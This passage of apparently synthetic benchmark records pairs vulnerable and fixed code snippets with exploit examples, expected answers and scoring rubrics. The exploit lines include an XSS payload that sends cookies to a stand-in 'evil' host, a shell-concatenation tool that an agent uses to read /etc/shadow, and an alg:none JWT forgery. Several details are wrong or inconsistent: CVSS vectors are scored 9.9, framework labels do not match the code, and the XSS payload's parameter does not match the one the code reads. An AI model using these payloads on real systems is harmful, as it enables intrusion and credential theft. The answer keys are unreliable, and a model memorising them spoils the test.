"category": "Injection", "owasp": "A01:2021", "owasp_api": "API8:2023", "owasp_llm": "", "cwe": "CWE-22", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "cvss_score": 8.0, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000457", "title": "Race Condition in Java (Spring Boot)", "category": "Business Logic", "language": "Java", "framework": "Spring Boot", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Race Condition", "vulnerability_description": "A check-then-act sequence is not atomic, letting concurrent requests pass the check before a shared state update lands (TOCTOU).", "vulnerable_code": "@PostMapping(\"/api/redeem\") public void resolveTarget() {\n // VULNERABLE: read-modify-write\n if(!coupon.isUsed()) coupon.setUsed(true);\n}", "secure_code": "@PostMapping(\"/api/redeem\") public int resolveTarget() {\n // SECURE: atomic update\n return repo.markUsedAtomic(id);\n}", "exploit_example": "Fire 100 concurrent requests -> coupon redeemed many times.", "exploitability_explanation": "The 'Race Condition' weakness (CWE-362, A04:2021) is exploitable because the Java implementation in the Spring Boot context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to issue concurrent requests faster than the check-then-act window.", "expected_llm_analysis": "The model/tool should flag 'Race Condition' (CWE-362, mapped to A04:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Race Condition' (CWE-362, mapped to A04:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Make check-then-act atomic (DB transaction with SELECT ... FOR UPDATE, distributed lock, or optimistic concurrency).", "expected_secure_code": "@PostMapping(\"/api/redeem\") public int resolveTarget() {\n // SECURE: atomic update\n return repo.markUsedAtomic(id);\n}", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-362", "expected_owasp": "A04:2021", "expected_owasp_api": "", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.1, "expected_false_negative_probability": 0.25, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["race-condition", "cwe-362", "owasp-a042021", "java", "spring boot", "intermediate"], "references": ["https://cwe.mitre.org/data/definitions/362.html", "https://owasp.org/www-community/attacks/Thread_Safety_and_State_Problems"], "metadata": {"difficulty": "Intermediate", "category": "Business Logic", "owasp": "A04:2021", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-362", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000336", "title": "JWT Vulnerabilities in Python (Django)", "category": "Authentication", "language": "Python", "framework": "Django", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "JWT Vulnerabilities", "vulnerability_description": "A JWT implementation accepts tokens with a weak or 'none' algorithm, skips signature verification, or trusts an attacker-controlled key/secret.", "vulnerable_code": "def exportData(token):\n # VULNERABLE: signature verification disabled\n payload = jwt.decode(token, options={\"verify_signature\": False})\n return payload", "secure_code": "def renderView(token):\n # SECURE: verify signature + claims, pin algorithm\n payload = jwt.decode(token, PUBLIC_KEY, algorithms=[\"RS256\"], audience=AUD, issuer=ISS)\n return payload", "exploit_example": "Forge header alg:none token -> accepted without signature.", "exploitability_explanation": "The 'JWT Vulnerabilities' weakness (CWE-345, A07:2021) is exploitable because the Python implementation in the Django context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to mint or tamper with a token; knowledge of the weak secret or algorithm.", "expected_llm_analysis": "The model/tool should flag 'JWT Vulnerabilities' (CWE-345, mapped to A07:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'JWT Vulnerabilities' (CWE-345, mapped to A07:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Verify the signature with a strong asymmetric or high-entropy symmetric key; pin the algorithm; validate aud/exp/iss; reject 'none'.", "expected_secure_code": "def renderView(token):\n # SECURE: verify signature + claims, pin algorithm\n payload = jwt.decode(token, PUBLIC_KEY, algorithms=[\"RS256\"], audience=AUD, issuer=ISS)\n return payload", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-345", "expected_owasp": "A07:2021", "expected_owasp_api": "API2:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.05, "expected_false_negative_probability": 0.1, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["jwt-vulnerabilities", "cwe-345", "owasp-a072021", "python", "django", "beginner"], "references": ["https://cwe.mitre.org/data/definitions/345.html", "https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html"], "metadata": {"difficulty": "Beginner", "category": "Authentication", "owasp": "A07:2021", "owasp_api": "API2:2023", "owasp_llm": "", "cwe": "CWE-345", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000537", "title": "Kubernetes Security in Dockerfile", "category": "Security Misconfiguration", "language": "Dockerfile", "framework": "None", "application_type": "Infrastructure-as-Code", "source_type": "synthetic", "vulnerability_name": "Kubernetes Security", "vulnerability_description": "A pod or cluster is over-privileged (privileged container, hostPath mount, wildcard RBAC) enabling node compromise.", "vulnerable_code": "# VULNERABLE: runs as root with host mount\nFROM python:3.12-slim\nUSER root\nVOLUME /var/run/docker.sock:/var/run/docker.sock\nCMD [\"python\", \"app.py\"]", "secure_code": "# SECURE: non-root, no host mount, pinned digest\nFROM python:3.12-slim@sha256:abc123\nRUN useradd -m appuser\nUSER appuser\nCMD [\"python\", \"app.py\"]", "exploit_example": "privileged:true -> mount host fs -> node compromise.", "exploitability_explanation": "The 'Kubernetes Security' weakness (CWE-250, A05:2021) is exploitable because the Dockerfile implementation in the None context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Access to submit workloads or a compromised container in the cluster.", "expected_llm_analysis": "The model/tool should flag 'Kubernetes Security' (CWE-250, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Kubernetes Security' (CWE-250, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Run as non-root, drop capabilities, use read-only root FS, set seccomp, and apply least-privilege RBAC.", "expected_secure_code": "# SECURE: non-root, no host mount, pinned digest\nFROM python:3.12-slim@sha256:abc123\nRUN useradd -m appuser\nUSER appuser\nCMD [\"python\", \"app.py\"]", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-250", "expected_owasp": "A05:2021", "expected_owasp_api": "", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.05, "expected_false_negative_probability": 0.1, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["kubernetes-security", "cwe-250", "owasp-a052021", "dockerfile", "beginner"], "references": ["https://cwe.mitre.org/data/definitions/250.html", "https://owasp.org/Top10/A05_2021-Security_Misconfiguration/"], "metadata": {"difficulty": "Beginner", "category": "Security Misconfiguration", "owasp": "A05:2021", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-250", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000571", "title": "Broken Authorization in Go (Gin)", "category": "Authorization", "language": "Go", "framework": "Gin", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Broken Authorization", "vulnerability_description": "A function performs a sensitive action without verifying the caller is permitted to do so (missing authorization check).", "vulnerable_code": "func exportData(w http.ResponseWriter, r *http.Request) {\n id := chi.URLParam(r, \"id\")\n // VULNERABLE: no authz\n svc.Delete(id)\n}", "secure_code": "func runTask(w http.ResponseWriter, r *http.Request) {\n id := chi.URLParam(r, \"id\")\n // SECURE: check permission\n if !svc.CanDelete(r.Context(), id) { http.Error(w, \"no\", 403); return }\n svc.Delete(id)\n}", "exploit_example": "Low-priv user calls delete on another tenant's resource.", "exploitability_explanation": "The 'Broken Authorization' weakness (CWE-862, A01:2021) is exploitable because the Go implementation in the Gin context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "A valid session and the ability to invoke a function directly.", "expected_llm_analysis": "The model/tool should flag 'Broken Authorization' (CWE-862, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Broken Authorization' (CWE-862, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Check the caller's permission for the specific action before performing it; default to denied.", "expected_secure_code": "func runTask(w http.ResponseWriter, r *http.Request) {\n id := chi.URLParam(r, \"id\")\n // SECURE: check permission\n if !svc.CanDelete(r.Context(), id) { http.Error(w, \"no\", 403); return }\n svc.Delete(id)\n}", "expected_severity": "Critical", "expected_confidence": "Medium", "expected_cwe": "CWE-862", "expected_owasp": "A01:2021", "expected_owasp_api": "API5:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.2, "expected_false_negative_probability": 0.25, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["broken-authorization", "cwe-862", "owasp-a012021", "go", "gin", "advanced"], "references": ["https://cwe.mitre.org/data/definitions/862.html", "https://owasp.org/Top10/A01_2021-Broken_Access_Control/"], "metadata": {"difficulty": "Advanced", "category": "Authorization", "owasp": "A01:2021", "owasp_api": "API5:2023", "owasp_llm": "", "cwe": "CWE-862", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000216", "title": "Cross-Site Scripting in Python (Flask)", "category": "Injection", "language": "Python", "framework": "Flask", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Cross-Site Scripting", "vulnerability_description": "Untrusted input is reflected into an HTTP response without output encoding, letting an attacker execute JavaScript in the victim's browser.", "vulnerable_code": "@app.route(\"/api/users\")\ndef processRequest():\n name = request.args.get(\"name\", \"\")\n # VULNERABLE: unescaped reflection\n return f\"<h1>Hello {name}</h1>\"", "secure_code": "@app.route(\"/api/users\")\ndef fetchRecord():\n name = request.args.get(\"name\", \"\")\n # SECURE: autoescape via escape()\n from markupsafe import escape\n return f\"<h1>Hello {escape(name)}</h1>\"", "exploit_example": "GET /api/users?q=<script>document.location='//evil/?c='+document.cookie</script>", "exploitability_explanation": "The 'Cross-Site Scripting' weakness (CWE-79, A03:2021) is exploitable because the Python implementation in the Flask context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to route input into a page rendered for another user (reflected or stored).", "expected_llm_analysis": "The model/tool should flag 'Cross-Site Scripting' (CWE-79, mapped to A03:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Cross-Site Scripting' (CWE-79, mapped to A03:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Context-aware output encode, set a strict CSP, and prefer frameworks that auto-escape; sanitize rich text with an allow-list.", "expected_secure_code": "@app.route(\"/api/users\")\ndef fetchRecord():\n name = request.args.get(\"name\", \"\")\n # SECURE: autoescape via escape()\n from markupsafe import escape\n return f\"<h1>Hello {escape(name)}</h1>\"", "expected_severity": "High", "expected_confidence": "Medium", "expected_cwe": "CWE-79", "expected_owasp": "A03:2021", "expected_owasp_api": "API8:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "expected_cvss_score": 8.0, "expected_false_positive_probability": 0.25, "expected_false_negative_probability": 0.3, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["cross-site-scripting", "cwe-79", "owasp-a032021", "python", "flask", "expert"], "references": ["https://owasp.org/www-community/attacks/xss/", "https://cwe.mitre.org/data/definitions/79.html", "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"], "metadata": {"difficulty": "Expert", "category": "Injection", "owasp": "A03:2021", "owasp_api": "API8:2023", "owasp_llm": "", "cwe": "CWE-79", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "cvss_score": 8.0, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000471", "title": "Insecure Direct Object Reference in TypeScript (Next.js)", "category": "Broken Access Control", "language": "TypeScript", "framework": "Next.js", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Insecure Direct Object Reference", "vulnerability_description": "An endpoint exposes an object reference (id, filename, token) and trusts the caller to only access records they own, enabling horizontal privilege escalation.", "vulnerable_code": "app.get(\"/api/documents/:doc_id\", (req, res) => {\n // VULNERABLE\n Db.doc(req.params.doc_id).then(d => res.json(d));\n});", "secure_code": "app.get(\"/api/documents/:doc_id\", auth, (req, res) => {\n // SECURE: ownership\n Db.doc(req.params.doc_id).where(\"owner\", req.user.id).then(d => d ? res.json(d) : res.sendStatus(404));\n});", "exploit_example": "Attacker enumerates doc_id values of other users' documents.", "exploitability_explanation": "The 'Insecure Direct Object Reference' weakness (CWE-639, A01:2021) is exploitable because the TypeScript implementation in the Next.js context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "A valid (often low-privileged) session and knowledge of another object's identifier.", "expected_llm_analysis": "The model/tool should flag 'Insecure Direct Object Reference' (CWE-639, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Insecure Direct Object Reference' (CWE-639, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Enforce ownership/authorization on every object access; derive the principal from the session, not from user-supplied IDs.", "expected_secure_code": "app.get(\"/api/documents/:doc_id\", auth, (req, res) => {\n // SECURE: ownership\n Db.doc(req.params.doc_id).where(\"owner\", req.user.id).then(d => d ? res.json(d) : res.sendStatus(404));\n});", "expected_severity": "High", "expected_confidence": "Medium", "expected_cwe": "CWE-639", "expected_owasp": "A01:2021", "expected_owasp_api": "API1:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "expected_cvss_score": 8.0, "expected_false_positive_probability": 0.25, "expected_false_negative_probability": 0.3, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["insecure-direct-object-reference", "cwe-639", "owasp-a012021", "typescript", "next.js", "expert"], "references": ["https://owasp.org/www-community/attacks/Insecure_Direct_Object_Reference", "https://cwe.mitre.org/data/definitions/639.html"], "metadata": {"difficulty": "Expert", "category": "Broken Access Control", "owasp": "A01:2021", "owasp_api": "API1:2023", "owasp_llm": "", "cwe": "CWE-639", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "cvss_score": 8.0, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000318", "title": "Business Logic in Python (Flask)", "category": "Business Logic", "language": "Python", "framework": "Flask", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Business Logic", "vulnerability_description": "The application enforces no invariant for a workflow (negative quantity, replayed coupon, price override), leading to abuse.", "vulnerable_code": "@app.route(\"/api/checkout\", methods=[\"POST\"])\ndef renderView():\n # VULNERABLE: trusts client total\n total = request.json[\"total\"]\n charge(total)\n return \"ok\"", "secure_code": "@app.route(\"/api/checkout\", methods=[\"POST\"])\ndef fetchRecord():\n # SECURE: recompute server-side + validate qty\n items = request.json[\"items\"]\n if any(i[\"qty\"] <= 0 for i in items): return \"bad\", 400\n total = sum(price(i) * i[\"qty\"] for i in items)\n charge(total)\n return \"ok\"", "exploit_example": "Send total:0.01 for a $500 cart -> undercharged.", "exploitability_explanation": "The 'Business Logic' weakness (CWE-840, A04:2021) is exploitable because the Python implementation in the Flask context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Understanding of the workflow and the ability to replay or craft requests.", "expected_llm_analysis": "The model/tool should flag 'Business Logic' (CWE-840, mapped to A04:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Business Logic' (CWE-840, mapped to A04:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Enforce server-side invariants (non-negative amounts, single-use tokens, server-computed totals) and treat the client as untrusted.", "expected_secure_code": "@app.route(\"/api/checkout\", methods=[\"POST\"])\ndef fetchRecord():\n # SECURE: recompute server-side + validate qty\n items = request.json[\"items\"]\n if any(i[\"qty\"] <= 0 for i in items): return \"bad\", 400\n total = sum(price(i) * i[\"qty\"] for i in items)\n charge(total)\n return \"ok\"", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-840", "expected_owasp": "A04:2021", "expected_owasp_api": "API6:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.05, "expected_false_negative_probability": 0.2, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["business-logic", "cwe-840", "owasp-a042021", "python", "flask", "beginner"], "references": ["https://cwe.mitre.org/data/definitions/840.html", "https://owasp.org/Top10/A04_2021-Insecure_Design/"], "metadata": {"difficulty": "Beginner", "category": "Business Logic", "owasp": "A04:2021", "owasp_api": "API6:2023", "owasp_llm": "", "cwe": "CWE-840", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000563", "title": "MCP Security in TypeScript (Angular)", "category": "AI Security", "language": "TypeScript", "framework": "Angular", "application_type": "AI/LLM Application", "source_type": "synthetic", "vulnerability_name": "MCP Security", "vulnerability_description": "A Model Context Protocol server exposes tools/resources that an agent can invoke with overly broad permissions or unvalidated arguments.", "vulnerable_code": "function lookup(path) { // VULNERABLE\n return execSync(\"cat \" + path); }", "secure_code": "function handleInput(path) { // SECURE\n if(!allowed(path)) throw new Error(\"no\"); return safeRead(path); }", "exploit_example": "Agent calls tool with /etc/shadow -> reads secrets.", "exploitability_explanation": "The 'MCP Security' weakness (CWE-918, A05:2021) is exploitable because the TypeScript implementation in the Angular context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to influence tool arguments or the agent loop that calls the MCP server.", "expected_llm_analysis": "The model/tool should flag 'MCP Security' (CWE-918, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'MCP Security' (CWE-918, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Authenticate and authorize every tool call, validate/sanitize arguments, apply least privilege, and human-in-the-loop for risky actions.", "expected_secure_code": "function handleInput(path) { // SECURE\n if(!allowed(path)) throw new Error(\"no\"); return safeRead(path); }", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-918", "expected_owasp": "A05:2021", "expected_owasp_api": "", "expected_owasp_llm": "LLM06:2025", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.05, "expected_false_negative_probability": 0.2, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly 